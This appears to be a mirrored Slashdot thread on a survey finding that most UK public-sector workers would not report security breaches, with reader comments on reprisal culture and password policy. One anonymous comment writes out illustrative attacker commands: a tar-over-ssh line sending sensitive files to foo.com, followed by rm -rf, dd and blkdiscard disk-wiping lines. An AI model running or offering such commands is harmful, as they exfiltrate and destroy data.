Slashdot Mirror


Survey: 2/3 of Public Sector Workers Wouldn't Report a Security Breach

An anonymous reader sends news of a survey of workers in the public sector conducted by Daisy Group, a British IT firm, which found that 64% of them would stay quiet about a security breach they noticed. The survey also found that 5% of workers admitted to disabling the password protection features on their work devices, and 20% said they don't update their passwords regularly. Daisy Group's Graham Harris said, "When it comes to data security, all too often organisations focus purely on IT processes and forget about the staff that will be using them. Human error is one of, if not the most likely source for data security issues, and fear of reprisal is a powerful force." 16% of respondents said they didn't know if data protection was an important part of their company's security practices.

150 comments

  1. all of that can be fixed by ganjadude · · Score: 4, Funny

    if only we give the government more money

    --
    have you seen my sig? there are many others like it but none that are the same
    1. Re:all of that can be fixed by Anonymous Coward · · Score: 2

      if only we give the government more money

      Yes, but only if the money is spent on private contractors with a profit motive. An extra middle man with a profit motive, on top of any actual requirements, always makes things better, even Mid East wars.

    2. Re:all of that can be fixed by casings · · Score: 1

      It will be fixed when all public bureaucrats are replaced by software running at minimal expenditure and not open to lobbying. Allowing us to provide actual welfare to every citizen like, if you're in the states at least, is promised in the constitution.

    3. Re:all of that can be fixed by Dog-Cow · · Score: 1

      The Constitution does not promise anything to the citizens of the US. What kind of crap civics class did you attend, and why haven't you read the document yourself since then?

    4. Re:all of that can be fixed by Anonymous Coward · · Score: 0

      Buck rogers Tweekie

    5. Re:all of that can be fixed by Anonymous Coward · · Score: 0

      Interesting, I wonder where I got the idea that the Constitution promised to "establish justice, insure domestic tranquility, provide for the common defense, promote the general welfare, and secure the blessings of liberty"? Do you think you could check the first couple of paragraphs of the Constitution and see whether it has some verbiage to that effect, or whether it has your Libertarian revisionist talking points. I'm not sure.

    6. Re:all of that can be fixed by jellomizer · · Score: 1

      It is about politics.
      In the public sector it isn't about your wins, but how bad your losses are.
      If you report a problem, it gets escalated all the way to the top, where you get your elected officials who got there because they talk. Where then it goes back down to find the person to fire because of the issue. The general public will not be happy until they fire someone for the issue. Granted the person who made the mistake are probably the one who will not cause it again. But you fire them, shame them, make sure they will not work in that field ever again.

      So yes if you see a problem you are better off to claim ignorance, then have fingers pointed at you.

      --
      If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    7. Re: all of that can be fixed by Anonymous Coward · · Score: 0

      I'm glad domestic tranquility is insured.

    8. Re:all of that can be fixed by david_thornley · · Score: 1

      That's the Preamble, which describes the goals of the Constitution. It does not have any legal force, and should not be considered a promise. Consider it an attempt to lay out the spirit of the Constitution, and that those are proper US goals.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
  2. Humans by koan · · Score: 2

    The weakest link.

    --
    "If any question why we died, Tell them because our fathers lied."
    1. Re: Humans by Anonymous Coward · · Score: 0

      I'd love to see the private sector version of this. I know it's cool and all to hate government workers these days, but I really haven't noticed private sector behavior being any better.

      Remember folks the private sector has as great or greater project failure rates than government. You just don't hear about them most of the time. The public sector is, well, public.

      Don't get me wrong. This is not good. It's just that given the average person's lack of understanding and contentment with lack of understanding of how and why anything works, it's not a huge surprise either.

    2. Re: Humans by nukenerd · · Score: 1

      I'd love to see the private sector version of this. ... I really haven't noticed private sector behavior being any better.

      The result would be about the same. People are people. There is far more variation in culture between different organisations (including between different government offices) than there is any public/private divide in this. I've seen it all, including working in the UK Admiralty at one time where the security was fanatical.

      As for TFA (I've followed the links) I find the 2/3 figure hard to believe and the article is light on facts and the form of the questions. Perhaps the 2/3 would not report in a case where they knew it was their own fault. I'm guessing, as I see no reason not to report any other breach that came to light. The resulting flap it would make an interesting diversion to the usual dull routine.

    3. Re: Humans by BVis · · Score: 2

      I suspect the 2/3rds figure is coming from the fact that the person creating the gap in security is above a given person on the org chart. Pissing off your superiors is a great example of a Career Limiting Event. Rank has its privileges. I have not yet seen an organization of any appreciable size, public or private, where those at the top do not consider themselves above security policy. That's for the plebs, kind of like how taxes are for little people. While your typical rank and file worker may have to change his/her password every 90 days with one of a given complexity that has not been used before, the CEO says he wants to use a simple password (no joke, I've seen them use the name of the company all lower case) that does not expire. That's a clear breach of written security policy. But, who's going to call him on it? Nobody, if they want to keep their jobs.

      Ironically, the employees for whom following security policy is most important (not only due to company policy, but frequently due to external regulations like SOX, HIPAA, PCI, etc.) are the ones who are most likely to be able to bully IT staff into making exceptions.

      --
      Never underestimate the power of stupid people in large groups.
    4. Re: Humans by anyGould · · Score: 1

      As for TFA (I've followed the links) I find the 2/3 figure hard to believe and the article is light on facts and the form of the questions. Perhaps the 2/3 would not report in a case where they knew it was their own fault. I'm guessing, as I see no reason not to report any other breach that came to light. The resulting flap it would make an interesting diversion to the usual dull routine.

      No, I'd believe it. Even ignoring the obvious reasons like "this security breach makes my life/job/day easier", there's the basic one - when you report a breach, the questions tend to start on "how do you find out?" "What were you doing to notice such a thing?" "That's not part of your job, so what weren't you doing in order to do this thing you're not supposed to do?", and that's if you're lucky enough that it stays internal and you don't get the Full Whistleblower Special.

      Counter this with - what's in it for the employee? The best-case scenario is that it's dealt with quietly and you get nothing (because giving you a raise/bonus/cake would require admitting there was a problem). Then we slide very quickly to "major pain in the arse for weeks to come until they finally get over it", through "your career at this company is stalled because you made some boss look bad", and into "dismissal and court cases". There's not enough "win" there.

      So I'd probably be one of the 2/3rds, unless I could find a very quiet, very anonymous, and very deniable way of getting word out.

  3. comment subject here by Falos · · Score: 5, Insightful

    Do we give out points on evaluations for "fully complies with security policy every time"? No, we slam plebs with metrics and quotas, after a childhood revolving around GPAs and diploma checkboxes and life-story-in-one-page application rodeos. We've trained society to game the system and if they're giving fucks in a certain, limited fashion, it's because the world only gives fucks in a certain, limited fashion.

    Of-fucking-course they game the system. "Fear of reprisal" isn't even a core symptom.

    1. Re:comment subject here by Anonymous Coward · · Score: 0

      > "Fear of reprisal" isn't even a core symptom.

      You are wrong. I went down this path and I assure you that everybody here is afraid to be threated as we were. We do actually quite often talk about security issues but nobody want to step up because they know there will be reprisal by the hierarchy!

  4. Password updating by ngc5194 · · Score: 5, Insightful

    Okay, the bit about how many folks wouldn't report a security breach is disturbing, but what's the fixation with updating passwords? I've been working in computer security for decades, and I almost never update passwords unless I'm required to or there is an incident. I'd much rather have my users pick strong passwords and not change them often than pick weak passwords because I insist they change them often. Sure, it's not just an either/or, but on the list of my concerns about system security, how frequently users update their passwords ranks WAAAAY down on the list.

    1. Re:Password updating by Anonymous Coward · · Score: 0

      You lent me/ allowed me to shoulder surf your password 6 months ago. Today, because I hate your comment, I shall unless the full power of your swiped password.

    2. Re:Password updating by ganjadude · · Score: 2

      im with you there. and ive even read some research that making people change passwords often in fact makes things worse as people tend to forget and write down passwords that change more often.

      --
      have you seen my sig? there are many others like it but none that are the same
    3. Re:Password updating by FranTaylor · · Score: 1

      There is a point, if passwords are sent encrypted over insecure channels, for instance a VPN connection. Encrypted passwords can be brute-force solved, it may take years. So if your 25 year veteran employee has never changed their VPN password, the hackers have potentially had 25 years to brute force his password.

    4. Re:Password updating by Z00L00K · · Score: 2

      I agree to some extent - frequent changes hurts more than it helps. Changing password shall be when it's considered necessary, and it's only you that uses the password that can decide that.

      But to increase security a 2-factor authentication shall be used, so that you need to combine with a keycard or similar in order to gain access. That will make it harder for anyone that wants to gain access to the net.

      But if you want higher security you should also build your net within a company on segments so that there are several separate segments of the network within the company. E.g. Human Resources should run their segment, Management another etc. That way a security compromise would not be as serious as if it was on a non-segmented network. This will of course require separate servers for the different segments and internal firewalls.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    5. Re:Password updating by Anonymous Coward · · Score: 3, Interesting

      Posting AC on this just because this is a common topic:

      Updating passwords is a quick band-aid, mainly to show that after a breach, -something- is done. So, the first thing done is that the Windows admin runs:

      dsquery user | dsmod user -mustchpwd yes

      and the place says they have "taken proper security precautions".

      As for reporting security breaches, here in the US, one is bred from birth (if they are born in the 1990s or later) to "sit down, shut up, and stop snitchin'". A good example of what happens if one reports security holes is what happened to my GF's son, who was in high school at the time. He had a classmate who who found a security issue with the school's website and reported it. Well, he got arrested on the spot at the principal's office for a CFAA violation and expelled. Not for -using- the breach, but just -mentioning- it. The CFAA charge didn't stick (since he didn't use the exploit), but the expulsion did [1].

      This carries to the work world. I worked at one job where we were told to challenge people who were tailgating. One day, I was going in the building, had someone following me close behind. I refused to open the door and called security because the guy didn't have a badge, and refused to show ID. Well, he turned out to be some muckety muck with a high office, and I ended up getting handed my walking papers that day because "I didn't play well with senior company officials", even though policy was to disallow tailgating.

      So, it is no wonder why people are not going to go out of their way to report security related items. If one is in school, they get threatened with expulsion and arrest. In the work world, it is blacklisting, arrest, and loss of a job.

      The lack of resources put into security and the prompt punishing of people who "see something, say something" is part of why China is assraping us so hard when it comes to security. If someone mentions -anything- out of the ordinary, they get the Richard Jewel treatment, so in the school and work environment, it is just keep the head down and shut up.

      What can you do? I'm lucky to work at a place where they are responsive to security, but in most places, one might have to resort to anonymous tips to the FBI and other LEOs about the breach in order for anything to get done.

      I wonder what will happen long term when security breaches don't just constitute a "tar /home/SensitiveDataStash/*|ssh foo.com "cat - > foo.tar"', but following the offsite copy, a "rm -rf /home", followed by a "dd if=/dev/zero of=/dev/sda" if the drive is an array, HDD, or LUN or a "blkdiscard /dev/hda" if a SSD. Right now, companies don't give a rat's ass if they get broken into and data snarfed... but once the bad guys start destroying data, people will care. However, with the fact that any employees who might mention a security issue would get shitcanned, it is going to take a big company going out of business for security policies to actually be enacted that make sense. It may even take major loss of life.

      [1]: Irony is that the kid got his GED and his high school equivalency, and is doing far better than he would had he graduated HS.

    6. Re:Password updating by Anonymous Coward · · Score: 0

      Yeah, the password reset thing is really only of use against advanced persistent threats (APTs), those are the ones that are willing to invest in methods of obtaining passwords and then use them to lurk, without mucking stuff up. Without password resets these types of threats will keep reading your secrets for years, the password reset forces them to start over.

      For things like WoW accounts, or even web-banking, probably not worth it. For things like secret research that will give your company an advantage, might be worth it.

    7. Re:Password updating by Anonymous Coward · · Score: 0

      This carries to the work world. I worked at one job where we were told to challenge people who were tailgating. One day, I was going in the building, had someone following me close behind. I refused to open the door and called security because the guy didn't have a badge, and refused to show ID. Well, he turned out to be some muckety muck with a high office, and I ended up getting handed my walking papers that day because "I didn't play well with senior company officials", even though policy was to disallow tailgating.

      I've always been amused at how poorly these types of policies are enforced in big companies; on one hand you're supposed to be extremely cautious but on the other you're also supposed not to. Here in Europe what happened to you would easily fulfill the characteristics of illegal termination of employment and something the unions would be all over.

    8. Re:Password updating by Anonymous Coward · · Score: 0

      Encrypted passwords can be brute-force solved, it may take years.

      So make the password two characters longer, and it will take thousands of years. Which is easier: to remember a 10-character password once, or a new 8-character password once a month?

    9. Re: Password updating by Anonymous Coward · · Score: 0

      Forcing a user to pick a new password is mostly pointless anyhow since most users will keep the same password, slightly modified by incrementing a digit at the start/end of the password. A better security practice would be issuing passwords, or even better, using private/public key pairs.

    10. Re:Password updating by Dog-Cow · · Score: 1

      Exactly. This is why my work passwords have always been XX or XXX depending on the the number of characters required and the word I chose. I've been doing it that way for almost 20 years.

    11. Re:Password updating by thsths · · Score: 1

      If somebody is spending 25 years of their life to crack your password, you may have other problems...

    12. Re:Password updating by thsths · · Score: 1

      Actually, the basic argument is flawed.

      Brute force password cracking is a guessing exercise. So a password can be cracked in 25 years - that sounds not too bad, right?

      But actually there is 4% chance the password can be cracked within 1 year, a 1% chance it can be cracked in 3 months, a 0.03% chance it can be cracked in a day.

      And these probabilities are the same whether you change your password or not!

      So you need a better mitigation against password cracking. Not losing your hashes would be a good start, limiting retries is another, monitoring activity a third.

    13. Re:Password updating by hey! · · Score: 1

      Well, once you've cracked the VPN traffic the password is almost a secondary concern, isn't it?

      This is the wrong way to think about security, e.g. for a hypothetical world where users adhere to anything you demand of them no matter how intrusive or onerous that is. In reality if you decide that usability and convenience aren't factors in your planning then that's actually an oversight which will come back to bite you on the ass someday. The only thing you can say for that approach of wishing usability away is that when disaster comes you'll be able to point the finger of blame at the users -- even though their non-adherence is a predictable result of your poor understanding of system requirements.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    14. Re:Password updating by jmauro · · Score: 1

      If you leave the organization forced-password change means after a set time 60-90 days you cannot log in anymore if someone didn't properly close your accounts and same for the shared account passwords.

      Yes, if companies had proper HR-to-IT checkout procedures and shared accounts went away this wouldn't be an issue and your passwords could stay the same, but sadly, the password change is the best approximation most places have to functioning procedures.

    15. Re:Password updating by tburkhol · · Score: 1

      Okay, the bit about how many folks wouldn't report a security breach is disturbing, but what's the fixation with updating passwords?

      Not reporting security breaches makes perfect sense. How many stories have we seen here about people being arrested or sued for reporting security holes or breaches? Work groups (public or private) tend to shun people who 'rock the boat,' and reporting unsafe work practices is definitely rocking the boat. I don't know why TFA focuses on public sector, but I'd put pretty long odds on private company employees having a much better report rate.

    16. Re:Password updating by FranTaylor · · Score: 1

      And these probabilities are the same whether you change your password or not!

      the probability of the cracked password working is ZERO if the password has been changed

    17. Re:Password updating by Rockoon · · Score: 3, Funny

      Your password must be at least 6 characters and contain at least one of each of the following: The letter "q", the letter "w", the letter "e", the letter "r", the letter "t", and the letter "y".

      --
      "His name was James Damore."
    18. Re:Password updating by thsths · · Score: 1

      So it is ok that the attacker cracked your password, just because he can only use it for a few weeks? That is an odd idea of security.

    19. Re:Password updating by ComputerGeek01 · · Score: 1

      but sadly, the password change is the best approximation most places have to functioning procedures.

      No it isn't. The solution is quite simply to put IT on the same aliases that HR uses to communicate terminations with accounting and their internal staff along with every alias that management uses to communicate terminations with HR. This way IT finds out about Jim John getting canned along with everyone else. There's no "privacy issue" either since any properly setup IT department can access anyones company Email as needed anyway.

    20. Re:Password updating by Anonymous Coward · · Score: 0

      Ah, but it is also quite common for HR to drop the ball...

      I remember a tell-all book about Enron where the teller and his entire group got (unplanned) paychecks for over a month after their termination.
      Including a trip to the now completely empty floor (with no legal access) to grab the paychecks regularly deposited in the in basket.

      Large organisations regularly screw up, and are really bad at fixing the mess

    21. Re:Password updating by Anonymous Coward · · Score: 0

      Actually no,

      Since you are not comparing the actual password, but some function of the password, there is a miniscule possibility that the old password would generate the same result as the new one. VERY unlikely, but >0

    22. Re:Password updating by Anonymous Coward · · Score: 0

      The purpose of changing the password regularly is not reduce the chance of it being broken, but to reduce the impact if it is broken.
      It means if you wrote the password down on a bit of paper and then forgot about it after a while, it wouldn't be useful to anyone that found it because that password has expired by now.

      How much credit card fraud do you think could be avoided by expiring cards every 3-6 months? Maybe not much, probably not enough to justify the annoyance to customers, but it's a thought.

  5. suspect it's much worse in the private sector by Anonymous Coward · · Score: 1

    Given that public jobs are relatively secure, you can assume this issue is much worse in the private sector.

    1. Re:suspect it's much worse in the private sector by Anonymous Coward · · Score: 0

      Given that public jobs are relatively secure, you can assume this issue is much worse in the private sector.

      I wouldn't bet on that. Private sector involves losses and someone would be held to account. It really depends on the size and setup of the org.

    2. Re:suspect it's much worse in the private sector by Anonymous Coward · · Score: 2, Insightful

      Given that public jobs are relatively secure, you can assume this issue is much worse in the private sector.

      I wouldn't bet on that. Private sector involves losses and someone would be held to account. It really depends on the size and setup of the org.

      If you see a problem and point it out, you will be held to account unless you do everything you can to fix it. In a large organization, odds are you won't have the power to fix it, and you will get blamed for failing to fix it. If you don't tell anyone you see a problem, you can deny you knew there was a risk of a problem. Rational actors become less willing to report problems when people are "held to account", because *they* won't be held to account unless they admit they know of an issue.

      My last two employers had amazingly terrible security for exactly this reason. Everyone knew that anyone who pointed out a problem would be the scapegoat if anything went wrong. I now work in a private company which has a policy of "blameless post-mortems" for exactly this reason. By making an explicit rule that people will not be punished if they explain what went wrong and make a good faith effort to fix it, you actually get things fixed instead of "holding people to account".

    3. Re:suspect it's much worse in the private sector by Anonymous Coward · · Score: 0

      Yeah... Exactly. Losses. That's why 1 in 1000 would report it there.

    4. Re:suspect it's much worse in the private sector by bickerdyke · · Score: 1

      Oh yes.. the good old "I want solution, and everything you're bringing me is problems". Noticing problems often is simply not "visionary" enough and pointing out those problems slow down the whole "team" on the way to their "mission goals".

      If nothing goes wrong, such management will win big, really big, including being on the next management magazine title. And no one cares for the 90% that fail big with that management style. Current culture bought into the "Prof. Pigskin"-Scam wholesale.

      --
      bickerdyke
  6. Reprisal.. by Anonymous Coward · · Score: 0

    You hear too often about someone who disclosed a security issue and was fired/sued for "hacking" or some other ridiculous reasoning.

    1. Re:Reprisal.. by Austerity+Empowers · · Score: 4, Interesting

      Being fired is extreme, but in at least two companies I worked for, there was a strong "you broke it, you bought it" mentality to this sort of thing. If you found a security issue, you were expected to move across the corporation until it got fixed. Derailing your actual job, your personal life, and just about any hope of happiness until it got fixed. Of course you don't report it.

      The issue frequently is that IT is seen as the cost center to reduce most, so getting someone in IT to a) acknowledge it is an issue not user error/invalid use case requires champion effort, b) the IT guys that exist are marginally competent, the good ones are too expensive to work here full time, c) frequently users are told how dumb they are, so they aren't even sure if they've found an issue or "I must be doing something wrong", d) how did you find it in the first place? Were you doing something you shouldn't? HMMM?

    2. Re:Reprisal.. by ShanghaiBill · · Score: 1

      You hear too often about someone who disclosed a security issue and was fired/sued for "hacking" or some other ridiculous reasoning.

      Edward Snowden disclosed a security issue, and look what happened to him.

    3. Re:Reprisal.. by Anonymous Coward · · Score: 0

      Edward Snowden disclosed a security issue, and look what happened to him.

      that's nothing, they cut off bradley manning's dick!

    4. Re:Reprisal.. by Anonymous Coward · · Score: 0

      In their defense, he did ask for it.

      Which is not to say that they didn't enjoy it.

      Win-win situation, it seems. Pity about the jail time.

  7. You're God damn right I wouldn't by Anonymous Coward · · Score: 5, Insightful

    What benefit would there be in reporting a security breach? Workers, especially in the public sector, are increasingly being treated as the enemy when they report this sort of thing. Governments have created an environment where any sort of whistle-blowing is viewed as a hostile action, and employees are often rewarded with termination, lawsuits, or jail time. Until that climate changes for the better, I'm just going to do my job and keep my fucking mouth shut.

    1. Re:You're God damn right I wouldn't by l0ungeb0y · · Score: 1

      I think they need to be even more severe. Threat of summary execution for not reporting security breaches should bring these Subjects into line.

    2. Re:You're God damn right I wouldn't by Anonymous Coward · · Score: 0

      +1 nailed it

    3. Re:You're God damn right I wouldn't by amiga3D · · Score: 1

      The problem is they'll execute them when they report it as well. Better to ignore the breach and hope for the best.

    4. Re:You're God damn right I wouldn't by sjames · · Score: 1

      Mod parent up!

      For exactly those reasons, I would seriously consider keeping quiet and letting someone else take the hit. If management has made it clear that reporting risks is forbidden, why do it?

    5. Re:You're God damn right I wouldn't by stephanruby · · Score: 1

      It's too bad I wasn't included in this survey. Because I do report all my security breaches.

      Nothing beats a 6pt dark Papyrus font at the end of a boring 400 slides powerpoint presentation. I also email that powerpoint presentation to everyone using the "To:" field. In my experience, the more people I include in an email, the less likely anyone is going to read what I have to say. I may get a few hate emails as a result, but that's good. I print those out, and I keep them just in case I need corroborating evidence that my presentation was actually received by some of my coworkers.

    6. Re:You're God damn right I wouldn't by Anonymous Coward · · Score: 0

      "Sir, I'm not good with computers". Even if you're the sysadmin no one's going to report you either, who knows what political connections you have.

    7. Re:You're God damn right I wouldn't by Anonymous Coward · · Score: 0

      In this day and age, its impossible to have a rational discussion without someone bringing up Climate Change. Oh, Lord...

  8. Some companies close their ears... by Anonymous Coward · · Score: 0

    Some companies actively create a culture of security silence. I was fired from a job once for reporting a software vulnerability to my manager. I have never reported a vulnerability of security weakness to an employer ever since.

  9. So... by fuzzyfuzzyfungus · · Score: 4, Insightful

    What percentage of them would expect to receive zero praise and potential reprisal if they did report a security problem?

    Yeah, sure, it's depressing that people aren't courageous moral heroes, or motivated to go above and beyond, most of the time, especially about boring stuff or things likely to get them in trouble.

    Guess what? That's one of the areas where management is supposed to be earning its money. One of the differences between an effective organization and a trainwreck is how good the flow of information is: are important observations from the periphery being collated and passed on so that HQ can actually achieve a coherent larger picture of the world? Are directions and information passed back down usefully informed by that picture? Or do you have unrealistic demands and buzzword nonsense flowing down; and soothing lies flowing up?

    This doesn't mean that 100% of employees are innocent('insider threats' are a subset of 'people who wouldn't report a security breach', since they create them; but not a terribly large subset); but if you have this problem on a large scale, that's because your organization is dysfunctional.

    1. Re:So... by Anonymous Coward · · Score: 1

      Exactly. I have reported security breaches, and then been investigated because I noticed it and reported it. In one notable occurrence, the security investigator ultimately cleared me, and then stated in their report that "someone should be told about this".

      When that's the response you get, little wonder that anyone would follow up.

    2. Re:So... by Anonymous Coward · · Score: 1

      Yeah, sure, it's depressing that people aren't courageous moral heroes, or motivated to go above and beyond, most of the time, especially about boring stuff or things likely to get them in trouble.

      How many of those surveyed would even know if they found a security issue?

      Computer did something funny - "glitch", reboot it. Is it working now? Yes - keep working. No - Reboot it a few more times.
      Big piles of sensitive documents in a dumpster- "they" must have made sure it was ok to put them there.
      Strange person wandering about the place - "They" must have let him in.
      Computers being sold on Ebay - "They" would have erased them properly.
      Company selling highly sensitive details about people - "They " wouldn't do that, "the government" wouldn't let them.

      I constantly hear about the proverbial "they" (sometimes substituted with "the government") from people when I point out issues. "They" is some mythical figure of authority who is always looking out for everyone's best interests. Plebs like to assume "they" is always there so that they don't have to take any responsibility for their action or lack thereof.

      TL;DR: Boring survey points out the obvious.

    3. Re:So... by Anonymous Coward · · Score: 0

      >[...] reprisal if they did report a security problem?

      I went last year down this path. Wrote a report with colleagues strictly following the rules. After that, we were all blocked in our position and anything is an excuse for reprisal. We are all looking for a new job (some already left)...

    4. Re:So... by bickerdyke · · Score: 1

      What's wrong with that?

      "they" are always there to point out when there are more than 3 pencils per person and months ordered. "They" know if you spend longer than 5 minutes at the water cooler. "They" are checking everyone's bags and pockets at the entrance.

      They're taking care of all that small stuff. So of course "they" would notice such big issues as sensitive documents in the dumpster, wouldn't they?

      --
      bickerdyke
  10. Maybe because security people are dicks? by gestalt_n_pepper · · Score: 4, Insightful

    At my nameless three letter organization, here's how security works.

    "Oh, you didn't name your database server according to our specifications required by our lame monitoring tool that can't handle nonstandard system names? Rename your server. Oh, and if it breaks the database, that's your problem."

    "We just patched all the servers for greater security. Too bad you can't use your software to control or monitor them anymore, but that's your problem."

    "Due to a breach, everyone must change their password. Too bad it happened while you were off for a few days and needed to log in for an emergency, but that's your problem."

    Security's motto: We break stuff, put ALL the burden on the users, walk away AND we get paid for it!

    I don't know any other job where you can receive money for making stuff *not* work.

    --
    Please do not read this sig. Thank you.
    1. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 5, Insightful

      Actually, security's motto is "If you can do your job, we're not doing ours."

    2. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      I worked on a cost plus project, and the more problems, real and imaginary (mostly imaginary and non-provably self inflicted) we encountered, the more money the company would make. Non-security related job.

    3. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      "Due to a breach, everyone must change their password. Too bad it happened while you were off for a few days and needed to log in for an emergency, but that's your problem."

      Your other two complaints are partly understandable (partly), but this one is ridiculous. "Oh! Don't lock my account that I haven't changed the password on because I was on vacation while a security breach occurred! You evil, evil security people!" If you don't raise the drawbridge during an attack, why even have the drawbridge?

    4. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      Congress

    5. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      At my nameless three letter organization, here's how security works.

      I don't know any other job where you can receive money for making stuff *not* work.

      I'm sorry that you have to work at a place that has settled on the "bad security" paradigm:

      o Good security is about making it easy for users to make right (more secure) choices as they do their work.
      o Bad security is about making it hard for users to make bad (less secure) choices as they do their work.

      The later is bad security because the user gets the same result whether they take the intended path or they figure out a insecure loophole. We need more policies that help people do the right thing so that they won't have incentive to go looking for loopholes that are easy but unexpectedly dangerous. More carrot, less stick.

    6. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      How do you suppose doing that for patching out vulnerabilities as the OP laments? How can we make it easy for users to make "right decisions" when it is just the nature of software that it does need to be patched and sometimes those patches break other things?

      Without answering this the rest of your theory falls apart, as something that is mandatory for the standard definition of good security (removing threats via patching) is directly against your definition of good security (making it easy for users to make secure decisions via never patching).

    7. Re:Maybe because security people are dicks? by c · · Score: 1

      Security's motto: We break stuff, put ALL the burden on the users, walk away AND we get paid for it!

      This is pretty much what happens when "Security" is a separate business group. Security-oriented admin groups can usually manage to balance security versus operational requirements, but if your only job is making things more secure and there's zero penalty for making things non-functional, well... honestly, I'd probably do the same thing.

      --
      Log in or piss off.
    8. Re: Maybe because security people are dicks? by Anonymous Coward · · Score: 1

      I use the casino analogy. A casino has lots of cash and no shortage of shady characters. Yet they don't search my bags our body scan me when I walk in. However, their threat detection is really good and if something happens there will be an instant response. They have actual security.

      Contrast that with the TSA or government and private offices where they harass people just to get in the front door because harassing people is easier than actually doing something useful. Plus it make the public or CEO think they have security when they have theater, while casinos have real security that is relatively unobtrusive unless being obtrusive is warranted.

      IT security is like that. The blowhards brag about how many restrictions they put on their users while the good ones enable things to go as smoothly and quietly as possible.

    9. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      How can we make it easy for users to make "right decisions" when it is just the nature of software that it does need to be patched and sometimes those patches break other things?

      If the patches broke functionality that was in use then the people generating those patches needs to provide a way for the users to get equivalent functionality. They need to do si by working with the users so it isn't a surprise and can be rolled out at the same time so the users don't experience downtime either.

    10. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      I don't know any other job where you can receive money for making stuff *not* work.

      Um, as a lawyer?

    11. Re:Maybe because security people are dicks? by Anonymous Coward · · Score: 0

      Confidentiality, integrity, and availability are the InfoSec triad. Don't cry to us because you have incompetent security personnel who ignore one third of their job.

  11. rolleyes by ihtoit · · Score: 1

    data protection isn't just a helpful suggestion, it's the LAW!

    I can, will and have gone Jurassic Park on any public servant or official I catch accessing data for anything other than specified work related tasks. If you're trusted with private data, then I swear on my left nut I will destroy you if you breach that trust.

    --
    Political debates have me rolling my eyes so much I think I got optical whiplash. I should sue. - Foamy The Squirrel
    1. Re:rolleyes by FranTaylor · · Score: 1

      If you're trusted with private data, then I swear on my left nut I will destroy you if you breach that trust.

      summary execution without jury trial or even an arrest, yes indeed you are a pillar of civilization

    2. Re:rolleyes by bickerdyke · · Score: 1

      I can, will and have gone Jurassic Park

      You cloned them from a tiny drop of blood?

      --
      bickerdyke
  12. Breaking news by Anonymous Coward · · Score: 0

    At least 2 out of 3 are retarded...

  13. Because their ass is covered no matter what by Anonymous Coward · · Score: 0

    Why would people who make a living fucking over the rest of the country care about what happens?

    1. Re: Because their ass is covered no matter what by Anonymous Coward · · Score: 0

      Screw that. Must people are people doing their jobs. The ones fucking over the country are the elected ones idiots like you vote for.

  14. Just so we're all clear on this... by dohzer · · Score: 1

    Just so we're all clear on this, what is the current official party line? Should we be reporting or not be reporting?!

    1. Re:Just so we're all clear on this... by Anonymous Coward · · Score: 0

      I remember back in the 80s having a 'potential' virus get into a TS/SCI classified area - don't ask how, *officially* no type of recordable media was allowed in or out (or, well, not allowed out without being shredded and then incinerated) - he had a virus scanner on floppy and the *security* department's answer to what to do was "bring it into the area in a manilla envelope, and take it out the same way".... which is what he did. Blatant security violation, but hey it's what the "security" department said to do. :-P

  15. Maybe because users feel entitltled by jklovanc · · Score: 1

    Security systems need to work for everyone not just you. The more "special cases" the weaker the security is.

    Oh, and if it breaks the database, that's your problem.

    If renaming a server is not easily fixed by a config change then whoever wrote the system is an idiot. Sorry but we can't deal with your and the other 20 naming schemes that individuals though were "cool".

    We just patched all the servers for greater security. Too bad you can't use your software to control or monitor them anymore, but that's your problem.

    If you are relying on a outdated control or monitoring software it is your problem. Your software may even be using the security flaw.

    Due to a breach, everyone must change their password. Too bad it happened while you were off for a few days and needed to log in for an emergency, but that's your problem.

    This is exactly the same as a person forgetting their password in an emergency situation. If your system can't handle it then it is your problem. Should we leave the leaked credentials valid till we contact everyone in the database? Even those on holidays who might be unreachable?

    1. Re:Maybe because users feel entitltled by Anonymous Coward · · Score: 0

      "If renaming a server is not easily fixed by a config change then whoever wrote the system is an idiot."

      That's nice. It might be even true. Hell, the guy responsible for the program might even agree with you. But it's rather insultingly irrelevant when you've had an edict of You Will Install This Software and You Will Make It Work from The Board. You may well be asking for an impossible change.

      See, the cost of fixing the software and working around security's analness might actually exceed the benefit to the organisation of making security's life easier. But you don't see security people accepting that.

    2. Re:Maybe because users feel entitltled by tlhIngan · · Score: 1

      If renaming a server is not easily fixed by a config change then whoever wrote the system is an idiot. Sorry but we can't deal with your and the other 20 naming schemes that individuals though were "cool".

      If you are relying on a outdated control or monitoring software it is your problem. Your software may even be using the security flaw.

      a user will always choose dancing pigs over security every time. Get in the way of their work, and users will figure out very creative ways around it. Or users will do very complex tasks if you tell them it'll get them what they want. Tell a user they can get free apps, and they'll install and use SSH and the command line...

    3. Re:Maybe because users feel entitltled by Anonymous Coward · · Score: 0

      Renaming a server is sometimes a major hassel when it runs commercial software, as the hostname is often included in license files that sometimes even require payment to change.

    4. Re:Maybe because users feel entitltled by Anonymous Coward · · Score: 0

      We are the everyone. Why do people think that anyone who complains is a special case? In the restaurant industry they've done plenty of studies that show only ~10% of the patrons bother to complain, the rest just leave an don't come back.

      Security needs to model use cases, with scenarios that include a range of users. Then they need to automate those tests and if a security patch breaks something they need to know about it beforehand. That way they can contact the teams that are going to be affected so those teams can plan the reaction to the downtime.

      Anything else is "just leave a mess for someone else to clean up", rather than "include someone in making the system secure".

      Should we leave the leaked credentials valid till we contact everyone in the database? Even those on holidays who might be unreachable?

      No you shouldn't, but that's a strawman argument. Not having a procedure that maximizes productivity in a secure environment is waste. Too many security professionals don't care about the maximized productivity, they only care about the maximum security environment.

    5. Re:Maybe because users feel entitltled by anyGould · · Score: 1

      a user will always choose dancing pigs over security every time. Get in the way of their work, and users will figure out very creative ways around it.

      That's because management will choose Getting It Done Now over Following The Rules every time. I've yet to meet a manager who, when it comes down to the deadline, won't tell me to "figure something a way to make it happen".

